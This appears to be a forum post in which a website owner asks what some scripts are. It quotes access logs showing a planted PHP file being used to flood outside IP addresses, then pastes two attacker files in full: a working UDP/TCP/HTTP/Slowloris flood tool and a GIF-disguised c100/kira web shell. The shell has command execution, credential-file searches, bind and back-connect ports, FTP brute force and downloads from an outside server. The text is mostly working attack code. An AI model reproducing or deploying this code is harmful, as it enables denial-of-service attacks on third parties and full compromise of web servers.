77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:44:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=197.200.77.81&time=100&type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:45:16 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:45:22 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=80.118.107.19&time=100&type=UDP HTTP/1.1" 200 1213 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:04:25 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=80.118.107.19&time=100&type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:04:27 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:04:34 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=80.118.107.19&time=6000&type=UDP HTTP/1.1" 200 1218 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:46:16 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=82.232.54.229&time=59&type=UDP HTTP/1.1" 200 1212 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
What are these scripts?
index.php :
# Simple password protection
#
# (c) http://www.jdiditn.freeiz.com
# Author: jdidiTN hack
# Feel free to use this script but keep this message intact!
#
# To protect a page include this file in your PHP pages!
session_start();
$admin_user_name = "salim";
$admin_password = "salim";
//you can change the username and password by changing the above two strings
if (!isset($HTTP_SESSION_VARS['user'])) {
if(isset($HTTP_POST_VARS['u_name']))
$u_name = $HTTP_POST_VARS['u_name'];
if(isset($HTTP_POST_VARS['u_password']))
$u_password = $HTTP_POST_VARS['u_password'];
if(!isset($u_name)) {
?>
moslem NIK TOUT |
(Pour Accder La Page , Tapez Login Et Mot De Passe)
$form_to = "http://$HTTP_SERVER_VARS[HTTP_HOST]$HTTP_SERVER_VARS[PHP_SELF]";
if(isset($HTTP_SERVER_VARS["QUERY_STRING"]))
$form_to = $form_to ."?". $HTTP_SERVER_VARS["QUERY_STRING"];
?>
$date = date("d-m-Y");
$heure = date("H:i");
Print("Nous sommes le $date et il est $heure");
?>
exit;
}
else {
function login_error($host,$php_self) {
echo "
You Need to log on to access this part of the site! |
echo "Error: You are not authorized to access this part of the site!
Click here to login again.
";
session_unregister("adb_password");
session_unregister("user");
exit;
}
$user_checked_passed = false;
if(isset($HTTP_SESSION_VARS['adb_password'])) {
$adb_session_password = $HTTP_SESSION_VARS['adb_password'];
$adb_session_user = $HTTP_SESSION_VARS['user'];
if($admin_password != $adb_session_password)
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
else {
$user_checked_passed = true;
}
}
if($user_checked_passed == false) {
if(strlen($u_name)< 2)
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
if(isset($admin_password)) {
if($admin_password == $u_password) {
session_register("adb_password");
session_register("user");
$adb_password = $admin_password;
$user = $u_name;
}
else { //password in-correct
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
}
}
else {
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
}
$page_location = $HTTP_SERVER_VARS['PHP_SELF'];
if(isset($HTTP_SERVER_VARS["QUERY_STRING"]))
$page_location = $page_location ."?". $HTTP_SERVER_VARS["QUERY_STRING"];
header ("Location: ". $page_location);
}
}
}
?>
/
Coded by jdidiTN hack
/
$type = $_GET['type'];
$host = $_GET['host'];
$time = $_GET['time'];
$port = $_GET['port'];
$page = $_GET['page'];
$myna = $_SERVER[PHP_SELF];
$page = '' . "\n";
$page .= ' ' . "\n";
$page .= ' ' . "\n";
$page .= ' ' . "\n";
$page .= ' ' . "\n";
$page .= '
' . "\n";
$page .= ' ' . "\n";
$page .= '
' . "\n";
$page .= '
' . "\n";
if ( isset( $_GET['type'] ) )
{
if ( $type == "UDP" )
{
if ( $_GET['host'] != '' && $_GET['time'] != '' )
{
$page .= UDP_FLOOD( $host , $time );
}
else
{
$page .= ' UDP Flood
' . "\n";
$page .= ' ' . "\n";
}
}
elseif ( $type == "TCP" )
{
if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' )
{
$page .= TCP_FLOOD ( $host , $port , $time );
}
}
elseif ( $type == "HTTP" )
{
if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
{
$page .= HTTP_FLOOD ( $host , $page , $time );
}
}
else
{
$page .= ' jdidiTN NIK TOUT
' . "\n";
$page .= ' Slectionnez Le Type De Flood
' . "\n";
$page .= ' ' . "\n";
}
}
else
{
$page .= ' jdiditN NIK TOUT
' . "\n";
$page .= ' Slectionnez Le Type De Flood
' . "\n";
$page .= ' ' . "\n";
}
$page .= '
$page .= ' ' . "\n";
$page .= '' . "\n";
print$page;
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function UDP_Flood( $host , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
$max_time = time() + $length;
$packet = "";
$packets = 0;
while( strlen ( $packet ) < 65000 )
{
$packet .= Chr( 255 );
}
while( 1 )
{
if ( time() > $max_time )
{
break;
}
$rand = rand( 1 , 65535 );
@$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
}
if ( $packets == 0 )
{
$rtn = 'UDP Flood
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Length: | ' . $length . ' Second(s) |
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'UDP Flood
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Length: | ' . $length . ' Second(s) |
| Packets: | ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) |
| Megabytes: | ' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s ) |
}
return$rtn;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function TCP_Flood( $host , $port , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
$max_time = time() + $length;
$packet = "";
$packets = 0;
while( strlen ( $packet ) < 65000 )
{
$packet .= Chr( 255 );
}
@$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
while( 1 )
{
if ( time() > $max_time )
{
break;
}
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
else
{
@$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
}
}
if ( $packets == 0 )
{
$rtn = 'TCP Flood
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Port: | ' . $port . ' |
| Length: | ' . $length . ' Second(s) |
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'TCP Flood
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Port: | ' . $port . ' |
| Length: | ' . $length . ' Second(s) |
| Packets: | ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) |
| Megabytes: | ' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s ) |
}
return$rtn;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function HTTP_Flood( $host , $page , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
if ( $page == '' )
{
$page = '/';
}
$max_time = time() + $length;
$packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
$packet .= ' Host: ' . $host . "\r\n";
$packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
$packet .= 'Keep-alive: 300' . "\r\n";
$packet .= 'Connection: keep-alive' . "\r\n\r\n";
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
while( 1 )
{
if ( time() > $max_time )
{
break;
}
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
else
{
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
}
}
if ( $packets == 0 )
{
$rtn = 'HTTP Flood
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Length: | ' . $length . ' Second(s) |
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'HTTP Flood
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Length: | ' . $length . ' Second(s) |
}
return$rtn;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function SLOWLORIS( $host , $page , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
if ( $page == '' )
{
$page = '/';
}
$max_time = time() + $length;
$packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
$packet .= ' Host: ' . $host . "\r\n";
$packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
$packet .= 'Content-length: 42' . "\r\n\r\n";
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
while( 1 )
{
if ( time() > $max_time )
{
break;
}
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
else
{
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
}
}
if ( $packets == 0 )
{
$rtn = 'Slowloris
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Length: | ' . $length . ' Second(s) |
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'Slowloris
' . "\n";
$rtn .= '
| Host: | ' . $host . ' |
| Length: | ' . $length . ' Second(s) |
}
return$rtn;
}
?>
$date = date("d-m-Y");
$heure = date("H:i");
Print("Nous sommes le $date et il est $heure");
?>
end of index.php
and
WEBCONFIG.php
GIF89aP;
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "c100"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " Shell [ci] . Biz ".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "
/ If you publish free shell and you wish
add link to your site or any other information,
put here your html. /
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "shell4spam@gmail.com"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/ Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "" (default)
string {closetag} - close html-tag, e.g. "" (default)
bool {break} - if TRUE and found match then break
/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"",""), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "k1r4"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "k1r4vars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("
array("
array("
array("
array("
array("
array("
array("Encoder",$surl."act=encoder&d=%d"),
array("Tools",$surl."act=tools&d=%d"),
array("Proc.",$surl."act=processes&d=%d"),
array("FTP brute",$surl."act=ftpquickbrute&d=%d"),
array("Sec.",$surl."act=security&d=%d"),
array("SQL",$surl."act=sql&d=%d"),
array("PHP-code",$surl."act=eval&d=%d"),
array("Update",$surl."act=update&d=%d"),
array("Feedback",$surl."act=feedback&d=%d"),
array("Self remove",$surl."act=selfremove"),
array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["k1r4cook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("k1r4_buff_prepare"))
{
function k1r4_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
k1r4_buff_prepare();
if (!function_exists("k1r4_sess_put"))
{
function k1r4_sess_put($data)
{
global $sess_cookie;
global $sess_data;
k1r4_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "".view_perms(fileperms($o))."";}
elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";}
else {return "".view_perms(fileperms($o))."";}
}
}
if (!function_exists("k1r4getsource"))
{
function k1r4getsource($fn)
{
global $k1r4_sourcesurl;
$array = array(
"k1r4_bindport.pl" => "k1r4_bindport_pl.txt",
"k1r4_bindport.c" => "k1r4_bindport_c.txt",
"k1r4_backconn.pl" => "k1r4_backconn_pl.txt",
"k1r4_backconn.c" => "k1r4_backconn_c.txt",
"k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt",
"k1r4_datapipe.c" => "k1r4_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}
else {return FALSE;}
}
}
